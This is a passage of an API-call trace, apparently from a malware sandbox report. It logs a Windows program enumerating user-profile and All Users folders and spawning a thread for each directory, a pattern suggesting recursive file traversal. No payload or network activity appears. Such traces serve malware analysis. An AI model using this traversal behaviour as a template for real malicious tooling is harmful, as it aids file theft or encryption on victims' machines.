returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.829] wcscat (in: _Dest=0x44a070, _Source="My Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" [0045.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384 [0045.830] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0045.830] wcscmp (_String1="NetHood", _String2=".") returned 1 [0045.830] wcscmp (_String1="NetHood", _String2="..") returned 1 [0045.830] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x414258 [0045.830] wcscpy (in: _Dest=0x414258, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.830] wcscat (in: _Dest=0x414258, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.831] wcscat (in: _Dest=0x414258, _Source="NetHood" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" [0045.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388 [0045.832] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c30f920, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c30f920, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0045.832] wcscmp (_String1="NTUSER.DAT", _String2=".") returned 1 [0045.832] wcscmp (_String1="NTUSER.DAT", _String2="..") returned 1 [0045.832] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c16ca00, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0045.832] wcscmp (_String1="ntuser.dat.LOG1", _String2=".") returned 1 [0045.832] wcscmp (_String1="ntuser.dat.LOG1", _String2="..") returned 1 [0045.832] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0045.832] wcscmp (_String1="ntuser.dat.LOG2", _String2=".") returned 1 [0045.832] wcscmp (_String1="ntuser.dat.LOG2", _String2="..") returned 1 [0045.832] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0045.832] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", _String2=".") returned 1 [0045.832] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", _String2="..") returned 1 [0045.832] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0045.832] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", _String2=".") returned 1 [0045.832] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", _String2="..") returned 1 [0045.832] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0045.832] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", _String2=".") returned 1 [0045.832] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", _String2="..") returned 1 [0045.832] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0045.832] wcscmp (_String1="ntuser.ini", _String2=".") returned 1 [0045.832] wcscmp (_String1="ntuser.ini", _String2="..") returned 1 [0045.832] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x87ade980, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87ade980, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0045.832] wcscmp (_String1="Pictures", _String2=".") returned 1 [0045.832] wcscmp (_String1="Pictures", _String2="..") returned 1 [0045.832] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x4142b0 [0045.832] wcscpy (in: _Dest=0x4142b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.832] wcscat (in: _Dest=0x4142b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.832] wcscat (in: _Dest=0x4142b0, _Source="Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0045.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4142b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c [0045.833] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0045.833] wcscmp (_String1="PrintHood", _String2=".") returned 1 [0045.833] wcscmp (_String1="PrintHood", _String2="..") returned 1 [0045.834] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x414308 [0045.834] wcscpy (in: _Dest=0x414308, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.834] wcscat (in: _Dest=0x414308, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.834] wcscat (in: _Dest=0x414308, _Source="PrintHood" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" [0045.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414308, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390 [0045.834] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0045.835] wcscmp (_String1="Recent", _String2=".") returned 1 [0045.835] wcscmp (_String1="Recent", _String2="..") returned 1 [0045.835] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x414360 [0045.835] wcscpy (in: _Dest=0x414360, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.835] wcscat (in: _Dest=0x414360, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.835] wcscat (in: _Dest=0x414360, _Source="Recent" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" [0045.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394 [0045.836] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0045.836] wcscmp (_String1="Saved Games", _String2=".") returned 1 [0045.836] wcscmp (_String1="Saved Games", _String2="..") returned 1 [0045.836] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a0d0 [0045.836] wcscpy (in: _Dest=0x44a0d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.836] wcscat (in: _Dest=0x44a0d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.836] wcscat (in: _Dest=0x44a0d0, _Source="Saved Games" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" [0045.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398 [0045.837] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0045.837] wcscmp (_String1="Searches", _String2=".") returned 1 [0045.837] wcscmp (_String1="Searches", _String2="..") returned 1 [0045.837] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x4143b8 [0045.837] wcscpy (in: _Dest=0x4143b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.837] wcscat (in: _Dest=0x4143b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.837] wcscat (in: _Dest=0x4143b8, _Source="Searches" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" [0045.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4143b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c [0045.838] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0045.838] wcscmp (_String1="SendTo", _String2=".") returned 1 [0045.838] wcscmp (_String1="SendTo", _String2="..") returned 1 [0045.838] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x414410 [0045.838] wcscpy (in: _Dest=0x414410, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.838] wcscat (in: _Dest=0x414410, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.838] wcscat (in: _Dest=0x414410, _Source="SendTo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" [0045.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0 [0045.839] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0045.839] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0045.840] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0045.840] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a130 [0045.840] wcscpy (in: _Dest=0x44a130, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.840] wcscat (in: _Dest=0x44a130, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.840] wcscat (in: _Dest=0x44a130, _Source="Start Menu" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" [0045.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4 [0045.841] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0045.841] wcscmp (_String1="Templates", _String2=".") returned 1 [0045.841] wcscmp (_String1="Templates", _String2="..") returned 1 [0045.841] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x50) returned 0x414468 [0045.841] wcscpy (in: _Dest=0x414468, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.841] wcscat (in: _Dest=0x414468, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.841] wcscat (in: _Dest=0x414468, _Source="Templates" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" [0045.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414468, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8 [0045.842] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x87a6c560, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87a6c560, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0045.842] wcscmp (_String1="Videos", _String2=".") returned 1 [0045.842] wcscmp (_String1="Videos", _String2="..") returned 1 [0045.842] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x4144c0 [0045.842] wcscpy (in: _Dest=0x4144c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0045.842] wcscat (in: _Dest=0x4144c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0045.842] wcscat (in: _Dest=0x4144c0, _Source="Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0045.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4144c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac [0045.843] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x87a6c560, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87a6c560, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0045.843] FindClose (in: hFindFile=0x409ae8 | out: hFindFile=0x409ae8) returned 1 [0045.843] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0045.843] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 [0045.843] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402690) returned 1 Thread: id = 104 os_tid = 0xba0 [0045.844] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2a) returned 0x40aa30 [0045.844] wcscpy (in: _Dest=0x40aa30, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0045.844] wcscat (in: _Dest=0x40aa30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0045.844] wcscat (in: _Dest=0x40aa30, _Source="*" | out: _Dest="C:\\Users\\All Users\\*") returned="C:\\Users\\All Users\\*" [0045.844] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4452d8 [0045.844] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*", lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409b28 [0049.138] wcscmp (_String1=".", _String2=".") returned 0 [0049.138] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.138] wcscmp (_String1="..", _String2=".") returned 1 [0049.138] wcscmp (_String1="..", _String2="..") returned 0 [0049.138] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0049.138] wcscmp (_String1="Adobe", _String2=".") returned 1 [0049.138] wcscmp (_String1="Adobe", _String2="..") returned 1 [0049.138] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x409be8 [0049.138] wcscpy (in: _Dest=0x409be8, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0049.138] wcscat (in: _Dest=0x409be8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0049.138] wcscat (in: _Dest=0x409be8, _Source="Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0049.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409be8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0049.611] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0049.611] 